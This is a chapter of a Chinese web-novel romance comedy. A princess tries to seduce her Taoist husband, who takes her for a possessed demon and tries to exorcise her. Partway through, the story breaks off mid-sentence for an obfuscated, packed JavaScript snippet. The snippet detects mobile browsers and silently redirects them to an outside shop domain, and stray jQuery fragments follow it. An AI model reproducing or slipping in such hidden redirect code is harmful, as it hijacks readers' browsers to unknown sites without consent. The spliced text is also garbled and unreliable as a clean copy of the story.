罗昭锦在门口截了魏明时的酒。
原以为得有一番说辞,谁料这小子只是错愕地瞄她一眼,就把托盘松了手,实在识时务。
奇怪,今儿下头这些人,怎的一个比一个懂事?
罗昭锦却没有闲心琢磨他们,亲自把酒送进屋去。进屋刚说了一句话,就见肃王飞快起身,站得笔直如松。
显是被她突然的出现,惊到了。
罗昭锦轻移莲步,将酒送上前去,只当没看见他的错愕,笑盈盈道:“妾想起有些话没与殿下说,就冒冒失失地过来了。”
边说着,边将托盘中那瓶酒,一个杯,一碟子蕃豆搁在罗汉榻的小几上。
孟成煊眼睛盯着她,依然站得如一棵松:“王妃衣着单薄,不冷?”
冷呀,怎的不冷!
今儿穿得少,只比酷夏多一层,罗昭锦摇着手帕,淡定地扇了扇风:“没觉着冷呀。”
然后,打了个寒噤。
“……”
他该没看出来吧。
来的路上她倒是披着斗篷,入了静庐便脱下来丢给小满了,还没有打寒颤,全靠毅力。
孟成煊瞄了眼她冻乌的嘴唇,口中问道:“王妃所来何事?”
罗昭锦眨巴眨巴眼,无辜样,反问:“妾这时候来,可是扰了殿下雅兴?”
“倒不曾。”
“那殿下为何不过来坐。”她自在小几一侧坐下,指了指对面。
孟成煊暗皱眉头,这才挪动脚,在她对面落座。
因靠近了,忽而嗅得她身上散出的香味,竟是绵软香甜,颇扰人心境,使人心底一股热气涌上。
着实怪异。
他记得,自己这王妃分明说过,并不爱浓香。
罗昭锦为彼此满上酒水:“殿下这儿的酒必是不一样,妾今儿有幸尝一尝。”
“这是松针酒。”他说。
罗昭锦浅饮一口,媚眼如丝,笑得甜腻:“妾还以为又是苦的呢,没想带了丝甜。”
“嗯,另加了黄芪、当归,浅带着些药味儿,舒筋活血,平补阴阳。王妃若喜欢,还有一坛未启,临走带去就是。”
他端着杯子并不往嘴边送,只是看着她又问了一遍,“不过,王妃所来有何急事?竟是明日都等不到。”
罗昭锦自是说不出个所以然,又眨巴眨巴眼:“殿下猜猜呢?”
孟成煊望见她那一双美眸如泛春水,恨不得要将溺死他,不觉眉头更皱了。
他搁下杯子:“我猜不着。”
“猜不着可就要罚一杯了。”罗昭锦将他刚放下的杯子又端起来,双手与他递去。
——先来的时候还愁不好勾|引,没料他自个儿备了酒,倒是与她行了方便。
孟成煊垂眸,见一双玉手捧着白瓷杯,杯子脂白,却白得不如这手好看。
其实她整个人都比平素好看,打扮得花枝招展,一股子不把人迷死不作罢的妩媚。
他笑了笑,接过杯子,指尖“不经意”地轻触到女人的手,冰凉一片,分明冷透了。
一口饮尽酒水。
罗昭锦再为他满上,捏着嗓子,娇娇柔柔地又问:“殿下再猜猜,猜不到还要罚一杯。”
他眼睛微眯,露出一笑:“总不能是突然想我了吧。”
罗昭锦暗中好不一惊。
宋钰说得果然没错,男人大多好|色,轻轻一勾居然就上道了。瞧瞧,枉他平素装得这样端方,却原来如此禁不得扒。
又或是自己实在魅力无边,随便勾勾手指,他就咬了上来。
啧啧。
罗昭锦原本不大放得开,见肃王居然这样好撬,当下还有什么顾虑,只管了卯足了劲儿,今晚便要将他拿下。
“殿下猜对了,那这杯酒该妾来喝。”说着端起杯子,就要往嘴边送。
“哎呀!”
杯子却不小心拿歪了,满满一杯酒,全洒在裙子上。
罗昭锦忙将外衫脱掉,口中懊恼:“瞧我竟这样不小心。”
那薄薄一层脱下,更露出里头的匀称有致,叫人遐想。
罗昭锦终于控制不住地打了个寒噤。好冷!得快点儿把肃王拐上床才是,她要盖被子!
肃王见她少了衣裳,便就起了身,从衣桁上取下自己的斗篷与她系上。
罗昭锦身上终于暖了些许,垂眸看着男人为她系肩带,心中一鼓劲儿,将男人一双手捧住。
“殿下——”短短两字,尽是娇媚,娇得她自己险些吐了。
“嗯?”男人先一错愕,旋即笑眯眯地看着她。
“妾真的想殿下了。”
他笑意加深:“不是早上才分别的?”
“可这会儿不见,已如隔三秋。”她委屈巴巴地说着,试探着将身子朝他靠去。
肃王并没有躲,于是她的脸颊顺势贴到了男人的胸口,手臂也揽到他的腰身。
“那我要怎样做,才能为王妃一解相思?”
顺利得出乎意料呀!罗昭锦窃喜,更撒起娇来:“妾今晚都不想离开殿下了。”
“哦?可我这里床榻甚小,容不下两人。我陪王妃说说话,再送王妃回去,如何?”
“不嘛!”罗昭锦将他搂紧,抬头哀怨地望着他,“人家想和殿下一起。”
忍着羞涩,手掌不安分地在攀上他的背。
肃王垂眸看着她,无奈地笑了下:“若非在一起,只怕得一道回凤翔宫去,才睡得安稳。”
好啊,罗昭锦也不想挤硬床,她十分赞同地点点头。
“更何况,”肃王抬起手,指腹轻轻抚过她的下巴,“床大一些,万事便宜。”
罗昭锦蓦地红了脸,下午看过的那二十四式,一式接一式,走马灯般在脑海里飞转起来。
讨厌!这还是她认识的肃王吗,被她几句话撩拨了,就反过来撩拨她。
她半点也不再觉得冷了,只觉浑身热得要烧起来。
罗昭锦咬着嘴唇说不出话,粉拳捶在他胸口,娇羞得紧。
“王妃稍等,我拿些东西便与你一同回凤翔宫。”肃王如是道。
“嗯。”罗昭锦放开他,低下头不敢抬起来看,趁他走开,用两手捧住两颊……滚烫的脸,冰冷的手,可真是冰火两重天。
肃王去到桌边,也不知要捎带什么走,她等了片刻,便听得朝她返回的脚步声。
罗昭锦抬起头,正要与他言语,额头间突然被贴了什么东西,将她视线几乎遮了个干净。
“太上台星,应变无停。驱邪缚魅,保命护身……”
只闻肃王口吻冷厉,飞快念道。
罗昭锦:“?”
她茫然地歪了下头,看见对面肃王横眉冷目,一手掐五雷指,一手握桃木剑,剑尖直指向她。
“何方妖孽!道行不浅,胆敢来我道门挑衅!”
她张了张嘴,又没能发出任何声音。
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663071|205777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一瞬间,脑子像被八臂哪吒拿着八条混天绫,搅了八百圈儿,搅得她的脑仁儿比东海还要乱。
这声“妖孽”,将她震懵了去。
孟成煊举着剑,两眼死盯对面的女人。
先前他便有过怀疑,觉着她那王妃“气”有异样,一番试探未能将这妖孽揪出,倒以为自己修行太浅看错了。
却原来是这妖孽道行太深,欺耍于他!方才他忍耐着配合,才终于将它引出。
罗昭锦回过味来。
肃王哪里是好色,他下钩就咬,不过是在引蛇出洞,当她是被妖孽附了身。
明白过来的一瞬间,她觉得脸上火|辣辣地疼。
丢死了脸!
“妖孽,还不伏诛!”肃王厉喝,手中所握分明是把桃木剑,气势却如钢刀锋锐。
罗昭锦浑身一抖,连神魂都随之一颤。事已至此——
“咚”。
晕为上策!
一室寂静。
孟成煊眉头深皱,剑尖随着妖孽的栽倒而向下垂去。他紧盯地上的女人,半晌过去,不见她动。
遂自腰间锦囊抓出五谷一把,照她身子抛洒下去,以破阴煞,而后上得前去,扯下符纸,将人扶坐起来。
“王妃,王妃!”
罗昭锦被他一阵晃,死扛着不敢睁眼。
是的,方才臭不要脸勾|引人的不是她,是妖孽,她十分认可肃王的判断。
这个时候,居然万分庆幸他是个道士。
孟成煊摇她半晌不醒,用力掐起人中,许久,仍不见她睁眼,遂抱她在罗汉榻躺下,拿起小几上的松针酒,大饮一口。
“噗——”全喷在她的脸上。
“……”罗昭锦险些被喷了个激灵。
她咬紧牙关,一动不动。
不能醒!就算这样也不能醒,她乃纯洁之人,必得是那妖孽万分强大,才附得了她的身。
她晕得越久,越能证明妖孽可怕,于是就这样死赖着不睁眼。
肃王又摸了她的脉。脉自是无甚问题,只是跳得略微急促。
而后肃王走开,不知又做什么去了。罗昭锦好奇,却也不敢偷摸睁眼,只是硬挺在榻上。
稍等片刻,只觉脚上一凉,鞋袜都被除下,一只手抓住了她光溜溜的脚。
“!”
针扎的轻微刺痛后,是持续的酸胀感。
接连两针,乃是刺的足中指厉兑穴,足底涌泉穴。
原来,是肃王又动用了针灸。
罗昭锦暗忍着,还是不醒。就是给她扎一百根针,将她扎成个刺猬,她也不会睁眼!
孟成煊见针刺无用,眉心狠皱起来,又摇晃她数下。
“王妃!昭锦?昭锦……宝珠!”
罗昭锦依然闭着眼:“……”便是叫我姑奶奶,我也不要醒的。
他喊了一阵,喊不醒人,便又走开,去开柜子拿东西,不知又要换什么法子来弄醒她。
撒她雄黄?喂她喝药?
罗昭锦等了有一会儿,听得脚步声靠近,心头正猜想着他会做什么,忽觉衣带一松,身上的衣裳被解开。
他居然动手除她衣裳。
因她穿得少,肃王不一会儿便解开她唯一一件衣物,露出里头朱红色的主腰。
——今儿为了诱惑他,穿的是乃是最轻薄的一件,隐约透肤。
罗昭锦心跳到了嗓子眼儿。
他、他干什么!